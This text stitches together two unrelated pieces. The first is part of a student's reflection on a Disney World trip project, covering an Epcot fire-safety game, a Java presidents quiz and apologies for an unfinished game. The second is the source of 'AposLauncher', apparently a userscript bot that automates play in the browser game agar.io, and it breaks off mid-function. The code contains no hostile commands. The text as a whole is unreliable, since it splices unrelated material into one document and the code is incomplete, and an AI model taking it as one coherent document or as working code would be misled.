Epcot's Innoventions, called "where's the fire?", which teaches adults and children basic fire safety in a fun and entertaining way. About every five minutes, the players waiting in line are divided into two groups and move into the home's entry. Here, a host will explain the object of the game and lay out the rules. The scenario is this: you are on a mission to discover a number of fire hazards commonly found around the house. To do this, you move from room to room, looking for potential risks. To help in the task, each player is given a special "safely light" to help uncover lurking dangers. The rooms are large projection screens. When a hazard is discovered, all persons in the room must shine their safety light on the same spot. when they do, the hazard is rendered harmless and points are assigned. After playing in the game to find the hazardous things in the house, I learned a lot of safety tips. It is much easier to remember the tips I learned during the game than those I learned on textbook or internet. I believe kids will enjoy the games and learn from them as well. I also tried to show this reflection in my project. Thus, I planned to make a game, called the hall of presidents, which test people's knowledge of presidents in USA. However, I failed to achieve the goal of making it an entertaining game instead of a quiz. My game was still like a quiz. However, because it is the only code which can work well inside my big game. I decide to still hold the game for my projects in order to what my original ideas are. 4. technology skill limitations I feel terribly sorry for my limited skills in CS. It is my first time to learn JAVA this semester. I just begin to learn the core concepts of JAVA this month. When I choose to use java code for this project, I know I will face plentiful limitations and problems. Here I want to express my gratitude to Dr. Johnson, who encouraged me not to give up my ideas. To be honest, I have no idea of how to change a java code into a real game with animations. I know the background story of the game is more important for English course and pictures are the best way to show the background, but I have no idea to show all these things by JAVA coding. Therefore, I choose to use videos for my presentation. In this way, I can show my animation inside the videos while the code clue of my game is still composed by JAVA coding. Also, video gives me a lot of freedom when choose my contents for presentation. I can explain a lot details of my project clearly through videos. For example, I found the festival parade in the magic kingdom was great and I wanted to share the experience in my project by showing the pictures or videos. However, because of the technology limitations, I can only show the videos in my presentations. Also, I mistakenly deleted my videos which I shot on my trip Orlando, I can only share others' parade show...... Also, I want to apologize for the incompleteness of my game. I only dedicated to writing codes for Magic Kingdom, a part of my trip during spring break. Writing codes is a really time consuming task for me. In general, I need to spend more than eight hours to finish one project for my CS assignment this semester. While for this project, the final artifacts are composed of several parts of codes and in the end I need to write the father code in order to take care of my code family for spring break. Due to my limitation in writing codes, I can only finish one part of Disney world. However, I think my code shows all my reflections and perspectives during my trip, even though it looks like it only shows one part of my trip. The terrible mistake I made is that I found out the most of my codes I wrote had significant errors on Tuesday. I went to CS TA office for help, while the errors were still impossible to fix in order to achieve the goal I planned to get. Consequently, my game have to be separated into several parts. Instead of a big game having others as sub-games inside the big one, my final artifacts are composed by several small games. I need to start them one by one. It may cause some inconvenience for players to map their trip in Disney world.
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zsith
// ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 3.062 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 3.062; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; } var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data["data"]) console.log("hmm: " + data["data"]["object"]["sha"]); sha = data["data"]["object"]["sha"]; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (83 == e.keyCode) { selectedCell = (selectedCell + 1).mod(getPlayer().length + 1); console.log("Next Cell " + selectedCell); } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } if (81 == e.keyCode) { console.log("ToggleFollowMouse"); toggleFollow = !toggleFollow; } } function humanPlayer() { //Don't need to do anything. var player = getPlayer(); var destination = []; for (var i = 0; i < player.length; i++) { destination.push([getPointX(), getPointY()]) } return destination; } function pb() { //UPDATE if (window.botList == null) { window.botList = []; window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); } window.jQuery('#nick').val(originalName); if (window.botList.length == 0) { window.botList.push(["Human", humanPlayer]); var bList = window.jQuery('#bList'); window.jQuery('<option />', { value: (window.botList.length - 1), text: "Human" }).appendTo(bList); } ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - d + 100, da: b - d + 100, oa: c + d + 100, pa: l + d + 100, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (selectedCell > 0 && selectedCell <= getPlayer().length) { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t), selectedCell - 1); drawCircle(getPlayer()[selectedCell - 1].x, getPlayer()[selectedCell - 1].y, getPlayer()[selectedCell - 1].size, 8); drawCircle(getPlayer()[selectedCell - 1].x, getPlayer()[selectedCell - 1].y, getPlayer()[selectedCell - 1].size / 2, 8); } else if (selectedCell > getPlayer().length) { selectedCell = 0; } if (toggle || window.botList[botIndex][0] == "Human") { var startIndex = (selectedCell == 0 ? 0 : selectedCell - 1); for (var i = 0; i < getPlayer().length - (selectedCell == 0 ? 0 : 1); i++) { setPoint(((fa - m / 2) / h + s) + i, ((ga - r / 2) / h + t) + i, (i + startIndex).mod(getPlayer().length)); } } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b = b.split("\n"), b[2] && alert(b[2]), Ca("ws://" + b[0], b[1])) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 4, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } function screenToGameX(x) { return (x - getWidth() / 2) / getRatio() + getX(); } function screenToGameY(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; } var a; if (T()) { a = fa - m / 2; var b = ga - r / 2; for (var i = 0; i < getPlayer().length; i++) { var tempID = getPlayer()[i].id; 64 > a * a + b * b || .01 > Math.abs(eb - ia[i]) && .01 > Math.abs(fb - ja[i]) || (eb = ia[i], fb = ja[i], a = N(21), a.setUint8(0, 16), a.setFloat64(1, ia[i], !0), a.setFloat64(9, ja[i], !0), a.setUint32(17, tempID, !0), O(a)) } } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = "#FFFFFF"; f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex][1](toggleFollow); if (selectedCell > 0) { Aa(); } if (!toggle) { var startIndex = (selectedCell == 0 ? 0 : selectedCell); for (var i = 0; i < getPlayer().length - (selectedCell == 0 ? 0 : 1); i++) { setPoint(moveLoc[(i + startIndex).mod(getPlayer().length)][0], moveLoc[(i + startIndex).mod(getPlayer().length)][1], (i + startIndex).mod(getPlayer().length)); } } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime())/1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, '#000000'); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0], dPoints[i][1]); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var debugStrings = []; debugStrings.push("Current Bot: " + window.botList[botIndex][0]); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); debugStrings.push("Q - Follow Mouse: " + (toggleFollow ? "On" : "Off")); debugStrings.push("S - Manual Cell: " + (selectedCell == 0 ? "None" : selectedCell) + " of " + getPlayer().length); debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; 